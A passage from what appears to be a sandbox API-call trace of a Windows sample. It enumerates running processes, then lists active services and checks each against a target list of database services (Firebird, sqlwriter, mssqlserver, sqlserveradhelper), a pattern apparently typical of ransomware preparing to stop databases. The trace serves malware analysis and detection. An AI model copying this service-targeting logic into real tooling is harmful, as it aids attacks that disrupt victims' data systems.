lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.779] lstrlenW (lpString="svchost.exe") returned 11 [0268.779] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.780] lstrlenW (lpString="svchost.exe") returned 11 [0268.781] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.781] lstrlenW (lpString="svchost.exe") returned 11 [0268.782] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.783] lstrlenW (lpString="audiodg.exe") returned 11 [0268.783] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.784] lstrlenW (lpString="svchost.exe") returned 11 [0268.784] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.786] lstrlenW (lpString="explorer.exe") returned 12 [0268.786] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.787] lstrlenW (lpString="dwm.exe") returned 7 [0268.787] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.788] lstrlenW (lpString="svchost.exe") returned 11 [0268.788] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0268.789] lstrlenW (lpString="winhost.exe") returned 11 [0268.789] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.790] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.790] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.791] lstrlenW (lpString="svchost.exe") returned 11 [0268.791] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.792] lstrlenW (lpString="taskhost.exe") returned 12 [0268.792] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0268.793] lstrlenW (lpString="reader_sl.exe") returned 13 [0268.793] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.794] lstrlenW (lpString="taskhost.exe") returned 12 [0268.794] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.795] lstrlenW (lpString="dllhost.exe") returned 11 [0268.795] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0268.796] lstrlenW (lpString="consent.exe") returned 11 [0268.796] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0268.798] CloseHandle (hObject=0x3cc) returned 1 [0268.798] Sleep (dwMilliseconds=0x1f4) [0270.149] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0270.149] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0270.150] GetLastError () returned 0xea [0270.150] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0270.150] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0270.151] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0270.152] lstrlenW (lpString="Appinfo") returned 7 [0270.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0270.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0270.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0270.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0270.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0270.152] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0270.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.152] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0270.152] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0270.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0270.152] lstrlenW (lpString="AudioSrv") returned 8 [0270.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0270.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0270.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0270.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0270.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0270.153] lstrlenW (lpString="BFE") returned 3 [0270.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0270.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0270.153] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0270.153] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0270.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0270.153] lstrlenW (lpString="CryptSvc") returned 8 [0270.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0270.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0270.153] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0270.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0270.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0270.154] lstrlenW (lpString="CscService") returned 10 [0270.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0270.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0270.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0270.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0270.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0270.154] lstrlenW (lpString="DcomLaunch") returned 10 [0270.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.154] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0270.154] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0270.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0270.155] lstrlenW (lpString="Dhcp") returned 4 [0270.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0270.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0270.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0270.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0270.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0270.155] lstrlenW (lpString="Dnscache") returned 8 [0270.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0270.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0270.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0270.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0270.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0270.156] lstrlenW (lpString="DPS") returned 3 [0270.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0270.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0270.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0270.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0270.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0270.156] lstrlenW (lpString="eventlog") returned 8 [0270.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0270.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0270.156] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0270.156] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0270.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0270.156] lstrlenW (lpString="EventSystem") returned 11 [0270.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0270.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0270.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0270.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0270.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0270.157] lstrlenW (lpString="gpsvc") returned 5 [0270.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0270.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0270.157] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0270.157] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0270.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0270.158] lstrlenW (lpString="iphlpsvc") returned 8 [0270.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.158] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0270.158] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0270.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0270.158] lstrlenW (lpString="LanmanServer") returned 12 [0270.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0270.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0270.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0270.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0270.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0270.158] lstrlenW (lpString="LanmanWorkstation") returned 17 [0270.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0270.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0270.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0270.159] lstrlenW (lpString="lmhosts") returned 7 [0270.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0270.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0270.159] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0270.159] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0270.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0270.159] lstrlenW (lpString="MMCSS") returned 5 [0270.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0270.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0270.160] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0270.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0270.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0270.160] lstrlenW (lpString="MpsSvc") returned 6 [0270.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0270.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0270.160] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0270.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0270.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0270.160] lstrlenW (lpString="Netman") returned 6 [0270.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0270.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0270.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0270.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0270.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0270.160] lstrlenW (lpString="netprofm") returned 8 [0270.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0270.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0270.161] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0270.161] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0270.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0270.161] lstrlenW (lpString="NlaSvc") returned 6 [0270.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0270.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0270.161] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0270.161] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0270.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0270.161] lstrlenW (lpString="nsi") returned 3 [0270.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0270.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0270.161] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0270.161] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0270.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0270.162] lstrlenW (lpString="PcaSvc") returned 6 [0270.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0270.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0270.162] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0270.162] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0270.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0270.162] lstrlenW (lpString="PlugPlay") returned 8 [0270.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0270.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0270.162] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0270.162] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0270.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0270.162] lstrlenW (lpString="Power") returned 5 [0270.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0270.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0270.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0270.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0270.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0270.163] lstrlenW (lpString="ProfSvc") returned 7 [0270.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0270.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0270.163] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0270.163] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0270.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0270.163] lstrlenW (lpString="RpcEptMapper") returned 12 [0270.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.164] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0270.164] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0270.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0270.164] lstrlenW (lpString="RpcSs") returned 5 [0270.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0270.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0270.164] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0270.164] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0270.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0270.164] lstrlenW (lpString="SamSs") returned 5 [0270.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0270.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0270.165] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0270.165] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0270.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0270.165] lstrlenW (lpString="Schedule") returned 8 [0270.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0270.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0270.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0270.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0270.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0270.165] lstrlenW (lpString="SENS") returned 4 [0270.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0270.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0270.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0270.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0270.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0270.166] lstrlenW (lpString="ShellHWDetection") returned 16 [0270.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0270.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0270.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0270.166] lstrlenW (lpString="Spooler") returned 7 [0270.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0270.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0270.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0270.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0270.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0270.167] lstrlenW (lpString="SysMain") returned 7 [0270.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0270.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0270.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0270.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0270.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0270.167] lstrlenW (lpString="Themes") returned 6 [0270.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0270.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0270.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0270.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0270.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0270.167] lstrlenW (lpString="TrkWks") returned 6 [0270.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0270.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0270.168] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0270.168] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0270.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0270.168] lstrlenW (lpString="UxSms") returned 5 [0270.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0270.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0270.168] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0270.168] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0270.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0270.168] lstrlenW (lpString="WdiServiceHost") returned 14 [0270.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0270.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0270.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0270.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0270.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0270.169] lstrlenW (lpString="WdiSystemHost") returned 13 [0270.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0270.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0270.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0270.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0270.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0270.169] lstrlenW (lpString="Winmgmt") returned 7 [0270.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0270.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0270.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0270.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0270.170] 